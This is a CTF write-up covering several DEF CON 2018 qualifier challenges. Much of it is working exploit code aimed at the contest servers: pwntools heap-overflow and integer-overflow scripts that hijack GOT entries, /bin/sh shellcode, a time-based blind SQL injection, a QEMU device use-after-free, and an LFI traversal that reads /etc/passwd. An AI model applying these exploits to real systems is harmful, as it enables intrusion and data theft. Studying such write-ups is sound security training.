y.recvuntil( ': ' )challenge = y.recvline().strip()y.recvuntil( ': ' )n = int( y.recvline() )y.sendlineafter( ':' , str( solve_pow(challenge, n) ) )
success( 'Go' )
t = 0.3y.recvuntil( 'Go\n' )
for i in xrange( 0x10000 ): y.send( p64( 0xffffffffffffffc8 ) ) p = 0xae77 y.send( p16( p ) ) t = Timer(1.0, hit) t.start() y.recvuntil( 'Go' , timeout=1 ) t.cancel()```
### sbva - Web
This is one of the easiest challenges in the comptition.
First, we are given the admin's username and password to login, but the server will return `Incompatible browser detected`. How does the server derect our browser? A quick guess is through the `User-Agent` header. So what if the header does not contain the user agent string?
``` sh$ curl 'http://0da57cd5.quals2018.oooverflow.io/login.php' -d '[email protected]&password=admin' -H 'User-Agent:'`
<br />Notice: Undefined index: HTTP_USER_AGENT in /var/www/html/browsertest.php on line 3
<html> <style scoped> h1 {color:red;} p {color:blue;} </style> <video id="v" autoplay> </video> <script> if (navigator.battery.charging) { console.log("Device is charging.") } </script></html>```
A PHP error occurs above, so the server actually infers our browser through the user agent header. However, there are various user-agent. It's sorts of silly to try each of them since the server might detect the version number as well.
In order to reduce possible user agent, [navigator.battery](https://developer.mozilla.org/en-US/docs/Web/API/Navigator/battery) in javascript is an important clue. It seems that only Chrome and Firefox support this.
Let's try Firefox with different version number first. The Firefox user agent spcification is [here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox), though I'm just blindly trying the possibile version number without following the specification.
```python#!/usr/bin/env python3# Python 3.6.5import requestsfrom itertools import product
s = requests.session() for i, j in product(range(0, 6), range(0, 51)): agent = f'Mozilla/{i}.0 (Windows NT 10.0; WOW64; rv:{j}.0) Gecko/20100101 Firefox/{j}.0' headers={'User-Agent': agent} r = s.post('http://0da57cd5.quals2018.oooverflow.io/login.php', data=dict(username='[email protected]', password='admin'), headers=headers) print(r.text, i, j)```
Surprisingly, we get the flag when the user agent is `Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0`.
Flag: `OOO{0ld@dm1nbr0wser1sth30nlyw@y}`
## Appetizers
### It's-a me!
* When odering pizza, Mario checks whether the pineapple Emoji Unicode (\xF0\x9F\x8D\x8D) exists for each ingridient, so we can split the Unicode into two ingridients ('\xF0\x90\xF0\x9F' and '\x8D\x8D') to bypass Mario's check* After cooking a pizza with fake pinapple (’\xF0\x90\xF0\x9F’ and ‘\x8D\x8D’), it will trigger a heap overflow vulnerability.* By ordering and cooking some pizzas between the ordering and cooking of the fake pinapple pizza, we can make the heap overflow overwrite the pointer to the ingredient. Since at first we don't have any addresses and the read function appends null byte at the end, we make it so that the pointer to the ingredient with LSB overflowed by 0x00 points to a heap address. Cook the pizza and we leak heap address.* We use the same way to leak libc address, but since now we have heap address, we don't have to partial overwrite the pointer to the ingridient with null byte anymore.* The way to hijack control flow is similar too. There is a pointer to a function pointer on each pizza cooked, which is call when they are admired. We overflow that with one_gadget.* `OOO{cr1m1n4l5_5h0uld_n07_b3_r3w4rd3d_w17h_fl4gs}`
```python#!/usr/bin/env python2
from pwn import *from IPython import embedfrom subprocess import check_outputimport re
context.arch = 'amd64'
r = remote('83b1db91.quals2018.oooverflow.io', 31337)
def PoW(): r.recvuntil('Challenge: ') x = r.recvline().strip() r.recvuntil('n: ') xx = r.recvline().strip() x = subprocess.check_output(['./pow.py', x, xx]) xx = re.findall('Solution: (.*) ->', x)[0] r.sendlineafter('Solution:', xx)
PoW()
def new(name): r.sendlineafter('Choice:', 'N') r.sendlineafter('name?', name)
def login(name): r.sendlineafter('Choice:', 'L') r.sendlineafter('name?', name)
def order(pn, ign, igs): r.sendlineafter('Choice:', 'O') r.sendlineafter('pizzas?', str(pn)) for i in range(pn): r.sendlineafter('ingredients?', str(ign[i])) for j in range(ign[i]): r.sendlineafter('ingridient', flat(igs[i][j]))
def cook(decl): r.sendlineafter('Choice:', 'C') r.sendlineafter('explain', decl)
def admire(): r.sendlineafter('Choice:', 'A')
def leave(): r.sendlineafter('Choice:', 'L')
def please(payload): r.sendlineafter('Choice:', 'P') r.sendlineafter('yourself:', payload)
pineapple = 0x8d8d9ff0tomato = 0x858d9ff0chicken = 0x94909ff0banana = 0x8c8d9ff0poo = 0xa9929ff0
new('A')order(1, [2], [['\xf0\x90\xf0\x9f', '\x8d\x8d']])leave()
new('B'*0x30)order(1, [1], [[tomato]])leave()
login('B'*0x30)cook('a'*290)leave()
new('C'*0x50)n = 4order(1, [n], [['a'*20]*n])leave()
login('A')cook('a')please('C'*32)
login('C'*0x50)cook('a')x = r.recvuntil('USER MENU')xx = re.findall('BadPizza: (.*)aaaaaaaaaaaaaaaaaaaaa', x)[0]heap = u64(xx.ljust(8, '\x00'))-0x11e30print 'heap:', hex(heap)
# exaust heapleave()new('D')order(1, [2], [['\xf0\x90\xf0\x9f', '\x8d\x8d']])leave()for i in range(9): new(chr(0x45+i)) order(1, [1], [[tomato]]) leave()
new('N')order(1, [2], [['\xf0\x90\xf0\x9f', '\x8d\x8d']])leave()
new('O'*0x30)n = 4order(1, [n], [['a'*16]*n])leave()
login('M')cook('a'*290)leave()
login('N')cook('a')#raw_input("@3")please('C'*24+flat( 0x91, heap+0x132c8, 0x10, 0x10, 0, heap+0x132c8,)+'\x10')
login('O'*0x30)cook('a')x = r.recvuntil('USER MENU')xx = re.findall('BadPizza: (.*)aaaaaaaaaaaaaaaaaaaaa', x)[0][:6]libc = u64(xx.ljust(8, '\x00'))-0x3c4b78print 'libc:', hex(libc)system = libc+0x45390magic = libc+0xf1147leave()
login('D')cook('a')#raw_input("@2")please(flat( [0]*3, 0x21, heap+0x138f0, 0, 0, 0x41, heap+0x138f0+0x10, heap+0x13930, magic,))login('O'*0x30)admire()
r.interactive()
```
### shellql
* We can upload our shellcode and it will be executed* They set prctl(22, 1LL); so we can only trigger `read` `write` `exit`* We can communicate with mysql via fd 4* According to [this](https://dev.mysql.com/doc/internals/en/com-query.html), we can forge a correct mysql packet* However, we cannot read from mysql* Time to use time-based attack`SELECT 1 from flag where (select substring(flag,1,4) from flag) = "OOO{" and SLEEP(10);`
* The exploit script:
```python# coding: utf-8from pwn import *import requestsimport stringimport hashlibcontext.arch='amd64'def mdd5(ss): print ss a=hashlib.md5() a.update(ss) return a.hexdigest()def run(code, timeout=1): s = asm(code) assert( '\0' not in s and len(s) < 1000) try: req = requests.post('http://b9d6d408.quals2018.oooverflow.io/cgi-bin/index.php', data={ 'shell': s }, timeout=timeout) except requests.exceptions.ReadTimeout: print ('Timeout') return 1 else: return 0
def qqq(payload): lenn=p32(len(payload)+1)[0] pp=lenn+'\x00\x00\x00\x03'+payload a=run(shellcraft.write(4, pp, len(pp)) + 'xor rax, rax;' + shellcraft.read(4, 'esp', 4) + 'inc rax; cmp rax, 1; jge .+0; ret', timeout=4) return a
flag=""for i in range(70): for j in "y SQL"+string.printable: if qqq('SELECT 1 from flag where (select substring(flag,1,'+str(len(flag)+1)+') from flag) = "'+flag+j+'" and SLEEP(10);') == 1: flag+=j print flag break
flag2="OOO{"for i in range(4,70): if qqq('SELECT 1 from flag where (select md5(substring(flag,'+str(i)+',1)) from flag) = "'+mdd5(flag[i].upper())+'" and SLEEP(10);') == 1: flag2+=flag[i].upper() else: flag2+=flag[i].lower() print flag2
## flag is OOO{shellcode and webshell is old news, get with the times my friend!}```
### flagsifier - Reverse* Part 1 ##### Behavior * Input is composed of 38 28x28 handwritten English characters. * Random combination of characters will be predicted as class 3. * Repeat a character 38 times will be predicted as class 14~39, which is class A~Z. * Using gradient ascent on input image will not produce readable picture. When we add a constraint that all 38 characters should be the same, class 14~39 can generate input with score 1, but failed on class 1~13. Implies that class 1~13 is consists of multiple characters. * Start with random combination of characters, we use Simulated Annealing to replace characters in input image. We can generate input image for each class with very high score. The images is not unique, but will be similar to ground truth. * Class 0 starts with a lot of `O` that isn't like a flag. * Class 1 is `OOOTHISISA.....MESSAGETOWASTEYOURTIME` which is a fake flag. * Class 2 starts with `OOO`. * Class 3~13 doesn't start with `OOO`. * We guessed Class 2 is true flag, so we generate a lot of possible input images to get probabilities of each character at each position. * Code:
```python#!/usr/bin/python3import sys
dim = int(sys.argv[1])
flag = '......................................'
reset = False # Change to False when known part is long enough# flag = 'OOOOOOOOOOOOOOOOI.....................' # dim = 0# flag = 'OOOOTHISISA.....MESSAGETOWASTEYOURTIME' # dim = 1flag = 'OOO.............INTELLIGENCEISREQUIRED' # dim = 2
import numpy as npfrom PIL import Imageimport osfrom tqdm import tqdm, trangeimport randomfrom keras.models import load_model, Model
model = load_model('model.h5')model = Model(input=model.input, output=model.layers[-2].output)
data = [np.asarray(Image.open('sample_%d.png' % i)).reshape(28, 1064).astype(np.float) for i in range(10)]data = [im for d in data for im in np.split(d, 38, axis=1)]char = ''.join([ 'RUNNEISOSTRICHESOWNINGMUSSEDPURIMSCIUI', 'MOLDERINGIINTELSDEDICINGCOYNESSDEFIECT', 'AMADOFIFESINSTIIIINGGREEDIIVDISIOCATIN', 'HAMIETSENSITIZINGNARRATIVERECAPTURINGU', 'EIECTROENCEPHAIOGRAMSPALATECONDOIESPEN', 'SCHWINNUFAMANAGEABLECORKSSEMICIRCIESSH', 'BENEDICTTURGIDITYDSYCHESPHANTASMAGORIA', 'TRUINGAIKALOIDSQUEILRETROFITBIEARIESTW', 'KINGFISHERCOMMONERSUERIFIESHORNETAUSTI', 'LIQUORHEMSTITCHESRESPITEACORNSGOALREDI',])data = list(zip(data, char))
def softmax(x): """Compute softmax values for each sets of scores in x.""" e_x = np.exp(x - np.max(x)) return e_x / e_x.sum()
for z in trange(100): if reset or z == 0: img, text = zip(*random.sample(data, 38)) img = np.concatenate(img, 1).reshape(1, 28, 1064, 1) text = list(text) r = model.predict([img])[0] score = r[dim] bar = trange(1000) bar.desc = '%s: %.1f ( %4d )' % (''.join(text), softmax(r)[dim], score) for i in bar: cur = img.copy() while True: idx = random.randrange(0, 38) im, c = random.sample(data, 1)[0] if text[idx] != flag[idx] or flag[idx] == c: break cur[0,:, idx*28:(idx+1)*28,0] = im r = model.predict([cur])[0] s = r[dim] if ( text[idx] != flag[idx] and flag[idx] == c ) or s > score or random.random() < (100/(i+100 + z *10)) ** 4: text[idx] = c bar.desc = '%s: %.1f ( %4d )' % (''.join(text), softmax(r)[dim], score) score = s img = cur tqdm.write(''.join(text)) bar.close()```
* Part 2 * Use dictionary and trie to find all the possible sentences. * Dictionary: https://raw.githubusercontent.com/first20hours/google-10000-english/master/google-10000-english.txt * Remember to remove the useless words that length is in range 1~3. * Code:
```C++ #include<bits/stdc++.h> #define f first #define s second using namespace std; //typedef pair<int,int>par; typedef pair<double,double>par; int nod[1000005][26],id=2; bool ok[1000005]; string ans; vector<int>ve[38]; void F(int nw,int now){ if(nw==38){ if(now==1)cout<<ans<<endl; return ; } for(int x:ve[nw]){ if(!nod[now][x])continue; ans.push_back('A'+x); F(nw+1,nod[now][x]); if(ok[nod[now][x]]){ ans.push_back(' '); F(nw+1,1); ans.pop_back(); } ans.pop_back(); } } int main(){ string s; int count=0; while(cin>>s){ if(s=="0")break; if(++count>1000&&s.length()<=3)continue; int now=1; for(char &c:s){ c|=32; if(!nod[now][c-'a']) nod[now][c-'a']=id++; now=nod[now][c-'a']; } ok[now]=1; } while(cin>>s){ if(s=="0")break; for(char &c:s) c|=32; for(int i=0;i<38;i++) ve[i].push_back(s[i]-'a'); } for(int i=0;i<38;i++) sort(ve[i].begin(),ve[i].end()), ve[i].resize(unique(ve[i].begin(),ve[i].end())-ve[i].begin()); F(0,1); //for(int i=0;i<38;i++) return 0; } ```
* input
``` [The Dictionary] 0 OOOTOYEUUTHTNTICINTELLIGENCEISREQUIRED OOOTOYEGUTHTNTICINTELLIGENCEISREQUIRED OOOIOYCUUTUCNTICINTELLIGENCEISREQUIRED OOOSOYEUUCUTNTICINTELLIGENCEISREQUIRED OOOTOYCGLCHENTICINTELLIGENCEISREQUIRED OOOTOYCUUCUCNTUCINTELLIGENCEISREQUIRED OOOIOYEULTUTNTICINTELLIGENCEISREQUIRED OOOSOYCULTUCNTICINTELLIGENCEISREQUIRED OOOTOYEAUTUTWCICINTELLIGENCEISREQUIRED OOOSOYEOUTUTNTICINTELLIGENCEISREQUIRED OOOSOYCGHTUENTICINTELLIGENCEISREQUIRED OOOTOYCGLTYCNTICINTELLIGENCEISREQUIRED OOOTOYEUUTUTNTICINTELLIGENCEISREQUIRED OOOTOYEAUTUTNCICINTELLIGENCEISREQUIRED OOOSOYCUUTHCNTIOINTELLIGENCEISREQUIRED OOOSOORONTNCNTIOINTELLIGENCEISREQUIRED OOOSOMCSHTGCWTICINTELLIGENCEISREQUIRED OOOTOMEOGTSTNTITINTELLIGENCEISREQUIRED OOOIOOEHUTUTNTITINTELLIGENCEISREQUIRED OOOINOEUUTATHTICINTELLIGENCEISREQUIRED OOOTCMCSNSATNTICINTELLIGENCEISREQUIRED OOOTGWRSUTNCNTICINTELLIGENCEISREQUIRED OOOSOQEAUIUCWSICINTELLIGENCEISREQUIRED OOOTOOECHIUCNTIGINTELLIGENCEISREQUIRED OOOTOWEGHSOTHTIEINTELLIGENCEISREQUIRED OOOSOMEGNTOENTILINTELLIGENCEISREQUIRED OOOSCOCGNTHTNTILINTELLIGENCEISREQUIRED OOOSONEGNTNCNTICINTELLIGENCEISREQUIRED OOOSCOCYNTOTUTICINTELLIGENCEISREQUIRED OOOSDUEONCOTLTIOINTELLIGENCEISREQUIRED OOOTDUCONTNTLTIDINTELLIGENCEISREQUIRED OOOTCMCGNCNTNTITINTELLIGENCEISREQUIRED OOOTQYFGNTATNTUEINTELLIGENCEISREQUIRED OOOSDUECLTUTNTICINTELLIGENCEISREQUIRED OOOTOWCUNTUTNTILINTELIIGENCEISREOUIRED OOOTOMSGUTHENTICINTELLIGENCEISREOUIRED OOOTOUTGLTOENCUCINTELLIGENCEISREQUIRED OOOTOUEUUTNENTICINTELLIGENCEISREQUIRED OOOTOMEGUTOENCICINTELLIGENCEISREQUIRED OOOTONEGLTUCNTIOINTELLIGENCEISREQUIRED OOOTOOEANTSENTICINTELLIGENCEISREQUIRED OOOTOUEUUTUELIICINTELLIGENCEISREQUIRED OOOTOMCAUTYENCICINTELLIGENCEISREQUIRED OOOTOYCCNTYTWTICINTELLIGENCEISREQUIRED OOOTOOCANCUTNTICINTELLIGENCEISREQUIRED OOOTOMEINIHENTICINTELLIGENCEISREQUIRED OOOTOYEUNTYTNTICINTELLIGENCEISREQUIRED OOOTOOEUUTHCNTICINTELLIGENCEISREQUIRED OOOTOMCULTUTNTIOINTELLIGENCEISREQUIRED OOOTOMEYNTUENTICINTELLIGENCEISREQUIRED OOOYOMEUMTURMIJCINTELLIGENCEISREQUIRED OOOIDMEUMTURWYJCINTELLIGENCEISREQUIRED OOOLDMEUMTURWYLCINTELLIGENCEISREQUIRED 0 ``` * Flag: `OOOSOMEAUTHENTICINTELLIGENCEISREQUIRED`
### Note Oriented Programming* Setup the value on the stack and call sys_sigreturn* After that, eax = 0x3 ebx=0x0 ecx=0x6060654f edx=0x4f4f4f4f cs=0x23 ss=0x2b ds=0x2b* Now eip is 0x60606565 pointer to "int 0x80" to call sys_read* Then, write shellcode on the 0x6060654f to get shell
```python=from __future__ import print_functionimport sysimport structimport hashlibfrom pwn import *# inspired by C3CTF's POW
table = ['A' , 'A#' , 'B' , 'C' , 'C#' , 'D' , 'D#' , 'E' , 'F' , 'F#' , 'G' , 'G#']
def val(x): a = table.index(x[:-1])*1.0 b = float(x[-1]) return (2.0**(b+a/12.0))*27.5
cmd = ["F9","G0"]*0xecmd += ["G9","G0"]*0x40cmd += ["A2","G0","A0","G0"]cmd += ["G0","G0"]*0xbcmd += ["A2","F2","A4","A9","E0","A4","G9","E0"]cmd += ["G0","G0"]cmd += ["A2","F2","A4","A9","E0","A4","G9","E0"]cmd += ["G0","G0"]*0x17cmd += ["G9","G0"]*0x6cmd += ["A2","F8"] cmd += ["A0","G0"]cmd += ["A4","A9","E0","A4","D9","E0"]cmd += ["A0","G1"] cmd += ["A0","G2"] cmd += ["A4","A9","E0","A4","D9","E0","A2","F8"]cmd += ["A4","A9","E0","A4","B9","E0"] cmd += ["A0","G3"] cmd += ["A4","A9","E0","A4","B9","E0"] cmd += ["A0","G4"] cmd += ["A0","G5"] cmd += ["A0","G6"] cmd += ["G9","G0"]*6cmd += ["G0","G0"]*8 cmd += ["G9","G0"]cmd += ["A2","F8"]cmd += ["A0","G0"]cmd += ["A0","G1"] cmd += ["A4","A9","E0","A4","D9","E0"] cmd += ["A0","G2"] cmd += ["A0","G3"]cmd += ["A4","A9","E0","A4","D9","E0","A2","F9","A2","F2","A4","A9","E0","A4","F9","E0"]cmd += ["A0","G4"]cmd += ["A2","F9","A2","F2","A4","A9","E0","A4","F9","E0","A2","F8"] cmd += ["G9","G0"]*4cmd += ["G0","G0"]*0xbcmd += ["A2","F2","A4","A9","E0","A4","G9","E0"]cmd += ["G0","G0"] cmd += ["A2","F2","A4","A9","E0","A4","G9","E0"] cmd += ["G0","G0"]*0xccmd += ["F9","G0"]*0x7 cmd += ["A2","F8","A4","A9","E0","A4","B9","E0","G2","G0"]cmd += ["D9","G0"]*(0x70-0x1f)+["D#7"]*0x1f
def pow_hash(challenge, solution): return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()
def check_pow(challenge, n, solution): h = pow_hash(challenge, solution) return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n): candidate = 0 while True: if check_pow(challenge, n, candidate): return candidate candidate += 1
if __name__ == '__main__': r = remote("4e6b5b46.quals2018.oooverflow.io",31337) r.recvuntil("Challenge: ") challenge = r.recvline()[:-1] r.recvuntil("n: ") n = int(r.recvline()[:-1]) print('Solving challenge: "{}", n: {}'.format(challenge, n))
solution = solve_pow(challenge, n) print('Solution: {} -> {}'.format(solution, pow_hash(challenge, solution))) r.sendlineafter("Solution:",str(solution))
for c in cmd: r.send(p16(val(c)))
r.send(p16(0x0))
payload = "\x90"*0x18 payload += asm(""" mov esp,0x40404a00 push 0x0068732f push 0x6e69622f mov eax,0xb mov ebx,esp xor ecx,ecx xor edx,edx int 0x80 """) r.send(payload) r.interactive()
```## From The Grill
### elastic cloud compute (memory) corruption
* It will use qemu-system-x86_64 to boot a vm* It tells us, we need to do something with PCI device* Then I found this [writeup](https://kitctf.de/writeups/hitb2017/babyqemu)* Now we know that we need to exploit via `/sys/devices/pci0000:00/0000:00:04.0/resource0`* Decompile qemu-system-x86_64 and look for mmio read write function.* I only leveraged write funtion* There is a buffer which is located at `0x1317940` and three kinds of operations* You can `malloc` `free` `write` some chunks. And all the chunk will be on that buffer* I list the write function here:
```cvoid __fastcall OOO_mmio_write(__int64 a1, __int64 offset, __int64 value, unsigned int a4){ unsigned int v4; // eax@1 char n[12]; // [sp+4h] [bp-3Ch]@1 __int64 v6; // [sp+10h] [bp-30h]@1 __int64 v7; // [sp+18h] [bp-28h]@1 __int16 v8; // [sp+22h] [bp-1Eh]@11 int i; // [sp+24h] [bp-1Ch]@5 unsigned int v10; // [sp+28h] [bp-18h]@1 unsigned int v11; // [sp+2Ch] [bp-14h]@4 unsigned int v12; // [sp+34h] [bp-Ch]@11 __int64 v13; // [sp+38h] [bp-8h]@1
v7 = a1; v6 = offset; *(_QWORD *)&n[4] = value; v13 = a1; v10 = ((unsigned int)a2 & 0xF00000) >> 20; v4 = ((unsigned int)a2 & 0xF00000) >> 20; if ( v4 == 1 ) { free(*(&qword_1317940 + (((unsigned int)v6 & 0xF0000) >> 16))); } else if ( v4 == 2 ) { v12 = ((unsigned int)v6 & 0xF0000) >> 16; v8 = v6; memcpy((char *)*(&qword_1317940 + (signed int)v12) + (signed __int16)v6, &n[4], a4); } else if ( !v4 ) { v11 = ((unsigned int)v6 & 0xF0000) >> 16; if ( v11 == 15 ) { for ( i = 0; i <= 14; ++i ) *(&qword_1317940 + i) = malloc(8LL * *(_QWORD *)&n[4]); } else { *(&qword_1317940 + (signed int)v11) = malloc(8LL * *(_QWORD *)&n[4]); } }}```
* The operation will be determined by IO offset. When your write offset is 0xabXXXX. * If a==1, then it will trigger free operation. * If a==2, then it will trigger write operation.* Otherwise, it will trigger malloc.* And b indicate the chunk offset on 0x1317940* The value will be the chunk size or the value written on the chunk* XXXX will be the offset on the chunk* There is a UAF vulnerabilty!! You can overwrite freed chunk to launch fastbin attack.* We can forge a fake chunk on the 0x1317940. then we can write 0x1317940. It also means that we have an arbitrary write.* We can overwrite GOT to hijack control flow* There is a magic function which is located at 0x6e65f9. It will triger system("cat ./flag")* Use GOT-hijacking then you can run that magic function and get the flag* Unfortunately we cannot upload a binary on remote vm, becasue the vm has no network connection. We can base64 encode our binary and send it to the vm. But the binary needs to be small enough, or you cannot send the whole binary because of network conditon.* So I write some shellcode for exploit.* The shellcode:
```nasmsection .data msg db "/sys/devices/pci0000:00/0000:00:04.0/resource0"section .text global _start_start: mov rax, 2 mov rdi, msg mov rsi, 2 mov rdx, 0 syscall mov rdi, 0 mov rsi, 0x1000000 mov rdx, 3 mov r10, 1 mov r8, rax mov r9, 0 mov rax,9 syscall mov rcx, rax mov WORD [rax+0x20000],0xc # malloc a chunk on 0x1317940+0x8*2 mov BYTE [rax+0x120000],0xc # free the chunk on 0x1317940+0x8*2 mov DWORD [rax+0x220000],0x131794d # overwrite the fd on 0x1317940+0x8*2 mov DWORD [rax+0x220004],0x0 # mov BYTE [rax+0x10000],0xc # malloc once mov BYTE [rax+0x10000],0xc # malloc twice , now we have a chunk at 0x131794d mov DWORD [rax+0x210000],0xa0000000 # forge a fake chunk address on 0x1317960 and the address will be free got (0x11301a0) mov DWORD [rax+0x210004],0x11301 # mov DWORD [rax+0x240000],0x6e65f9 # Overwrite free got. The new address will trigger system("cat ./flag") mov DWORD [rax+0x240004],0x0 # mov DWORD [rax+0x120000],0x0 # Trigger free and get the flag !! mov rax, 60 xor rdi, rdi syscall# nasm -felf64 a.asm -o a.o && ld a.o && base64 a.out > shellcode```* And the code to send shellcode:
```pythonimport sysimport structimport hashlibfrom pwn import *
# inspired by C3CTF's POW
def pow_hash(challenge, solution): return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()
def check_pow(challenge, n, solution): h = pow_hash(challenge, solution) return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n): candidate = 0 while True: if check_pow(challenge, n, candidate): return candidate candidate += 1
r=remote("11d9f496.quals2018.oooverflow.io",31337)r.recvuntil("Challenge:")cha=r.recvline().strip("\n")r.recvuntil("n:")n=r.recvline().strip("\n")
solution = solve_pow(cha[1:], int(n))
r.sendline(str(solution))r.recvuntil("/ #")f=open("shellcode")for i in f.readlines(): r.sendline('echo "'+i.strip('\n')+'" >> 1234')r.sendline("base64 -d 1234 > bb")r.sendline("chmod +x ./bb")r.sendline("./bb")r.interactive()# The flag is OOO{did you know that the cloud is safe}```
### Race Wars1. The vulnerability exists during the program asks for tire amount; when doing so, we can apply for 0x8000000 tires to cause int overflow (0x8000000*0x20 = 0), and make the program allocate 0-size memory, but the tires struct can still be placed on heap for us to control.2. Use transmission function to overlap the tires struct and transmission struct 3. Use modify_tires functions to set all the attributes of tire as 0xffff4. Use modify_transmission function to get relative address read/write capability of arbitrary memory5. Read heap address and code GOT address to get libc address, then modify exit GOT to one_gadget, call exit, and get shell* code:
```python=from pwn import *import sysimport timeimport randomhost = '2f76febe.quals2018.oooverflow.io'port = 31337
binary = "./racewars"context.binary = binaryelf = ELF(binary)try: libc = ELF("./libc.so.6") log.success("libc load success") system_off = libc.symbols.system log.success("system_off = "+hex(system_off))except: log.failure("libc not found !")
def new(): pass
def edit(): pass
def remove(): pass
def show(start,end): pass r.recvuntil(start) data = r.recvuntil(end)[:-len(end)] return data
if len(sys.argv) == 1: r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."}) #r = remote("127.0.0.1" ,4444)
else: r = remote(host ,port) r.recvuntil("Challenge: ") Challenge = r.recvuntil("\n")[:-1] r.recvuntil("n:") n = r.recvuntil("\n")[:-1] r.recvuntil("Solution:") p = process(["/usr/bin/python", "./pow.py",Challenge ,n ]) print "pow..." p.recvuntil("Solution: ") ans = p.recvuntil(" ")[:-1] r.sendline(ans)
def tires(num): r.recvuntil("E: ") r.sendline("1") r.recvuntil("?\n") r.sendline(str(num))
def chassis(option): r.recvuntil("E: ") r.sendline("2") r.recvuntil("pse\n") r.sendline(str(option))
def engine(): r.recvuntil("E: ") r.sendline("3")
def transmission(option): r.recvuntil("E: ") r.sendline("4") r.recvuntil("? ") r.sendline(str(option))
def modify_tires_w(width): r.recvuntil("E: ") r.sendline("1") r.recvuntil(": ") r.sendline("1") r.recvuntil(": ") r.sendline(str(width))
def modify_tires_a(ratio): r.recvuntil("E: ") r.sendline("1") r.recvuntil(": ") r.sendline("2") r.recvuntil(": ") r.sendline(str(ratio))
def modify_tires_c(radial): r.recvuntil("E: ") r.sendline("1") r.recvuntil(": ") r.sendline("3") r.recvuntil(": ") r.sendline(str(radial))
def modify_tires_d(diameter): r.recvuntil("E: ") r.sendline("1") r.recvuntil(": ") r.sendline("4") r.recvuntil(": ") r.sendline(str(diameter))
def modify_chassis(): r.recvuntil("E: ") r.sendline("2") r.recvuntil(": ") r.sendline("1")
def modify_engine(): r.recvuntil("E: ") r.sendline("3")
def modify_transmission(gears,ratio,gear): r.recvuntil("E: ") r.sendline("4") r.recvuntil("? ") r.sendline(str(gears)) r.recvuntil("gear ratio for gear " + str(gears) + " is ") addr = r.recvuntil(", mo")[:-4] r.recvuntil(": ") r.sendline(str(ratio)) r.recvuntil(")") r.sendline(str(gear)) return addr
def buy(): r.recvuntil("E: ") r.sendline("5")
def race(): r.recvuntil("E: ") r.sendline("6")
if __name__ == '__main__': print "start" tires(0x8000000) transmission(1) chassis(1) engine() modify_tires_w(0xffff) modify_tires_a(0xffff) modify_tires_c(0xffff) modify_tires_d(0xffff) addr = "" for i in xrange(8): addr += chr(int(modify_transmission(0xffffffffffffff70+i,0x44,0))) heap = u64(addr) - 0xe0 print "heap =", hex(heap) h = -0xa0 puts_got = 0x603020
leak = ((puts_got - heap) - 0x90 - 0x10)&0xffffffffffffffff addr = "" for i in xrange(8): addr += chr(int(modify_transmission(leak+i,0x44,0))) puts = u64(addr) libc.address = puts - libc.symbols["puts"] print "libc.address =" , hex(libc.address) exit_got = 0x0603060 magic = libc.address + 0xf1147 leak = ((exit_got - heap) - 0x90-0x10)&0xffffffffffffffff print hex(magic) for i in xrange(8): modify_transmission(leak+i,ord(p64(magic)[i]),1) buy() tires(1) r.sendline("ls")
r.interactive()```### Say Hi!
You can send anything as the flag !!`OOO{Happy Mother's Day!!}``
### exzendtential-crisis (unsolved)
After loggin in, we found a LFI vulnerability.`http://d4a386ad.quals2018.oooverflow.io/essays.php?preview&name=../../../../../etc/passwd`
We retrive these files from the server:
- All PHP source code, but `flag.php` is WAFed.- /etc/php7/apache2/php.ini (not sure, I forget the exact location)- /usr/lib/php/20151012/mydb.so (found the path in php.ini)- /var/lib/mydb/mydb.db (found the path in mydb.so)
The main problem is the customized functions, `check_redential`, `get_user_id` .... Those function use PHP extension, written in C++, in `mydb.so`.
A quick reverse engineering will find a interesting function `check_hacker_attempt`. You can found the source code [in the official repo](https://github.com/o-o-overflow/chall-exzendtential-crisis/blob/master/src/c/mydb.cpp#L31-L69). the `strcpy` leads to a buffer overflow. It copies a `std::string` to a 100 byte C string.
Our main objective is to make `get_user_id()` return 1, which is the admin's user id. Exploiting the buffer overflow can [overwrite the table_name](https://github.com/o-o-overflow/chall-exzendtential-crisis/blob/master/src/c/mydb.cpp#L31-L69).
Here is the evil input: `print("A"*112+"users where rowid=1;--")`
The SQL query becomes:
```select rowid from users where rowid=1;-- where username = '...' and password = '...';```
Then the query returns 1. We are the admin now. Visit `flag.php` and get the flag!
Postscript: We fail to solve this because the reversing of `strcyp` tends to be confusing here. The code below is equal to `strcpy`. However, we somehow missed this part :(
```c++v5 = str_len + 1;if ( v5 >= 8 ){ *(_QWORD *)to_check = *(_QWORD *)username; *(_QWORD *)&to_check[v5 - 8] = *(_QWORD *)&username[v5 - 8]; qmemcpy( (void *)((unsigned __int64)(to_check + 8) & 0xFFFFFFFFFFFFFFF8LL), (const void *)(username - &to_check[-((unsigned __int64)(to_check + 8) & 0xFFFFFFFFFFFFFFF8LL)]), 8LL * ((v5 + (_DWORD)to_check - (((_DWORD)to_check + 8) & 0xFFFFFFF8)) >> 3));}else if ( v5 & 4 ){ *(_DWORD *)to_check = *(_DWORD *)username; *(_DWORD *)&to_check[v5 - 4] = *(_DWORD *)&username[v5 - 4];}else if ( v5 ){ *to_check = *username; if ( v5 & 2 ) *(_WORD *)&to_check[v5 - 2] = *(_WORD *)&username[v5 - 2];}v12 = sub_34E0;v11 = (__int64 (__fastcall *)(char *, __int64, int))sub_3220;```
## Guest Chefs
### PHP Eval White-List
- run ` die("`../flag`"); `- `OOO{Fortunately_php_has_some_rock_solid_defense_in_depth_mecanisms,_so-everything_is_fine.}`
### ghettohackers: Throwback
The interval of each '!' is the index of alphabet.
The text is `Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!`. First we try to find all letters on '!' and get `nwltisoos`.We try lots of possible decryptions like XOR, ord(i) - ord('!'), letters reorganization, affine cipher, Atbash cipher, and many classical ciphers but all failed.Finally, we notice that the place of '!' maybe a hint. We calculate the interval of each '!' and got `[4, 1, 18, 11, 0, 12, 15, 7, 9, 3, 0]`. We think these numbers are the index of alphabet (e.g. `4` is `d`), and write a code to print the answer.
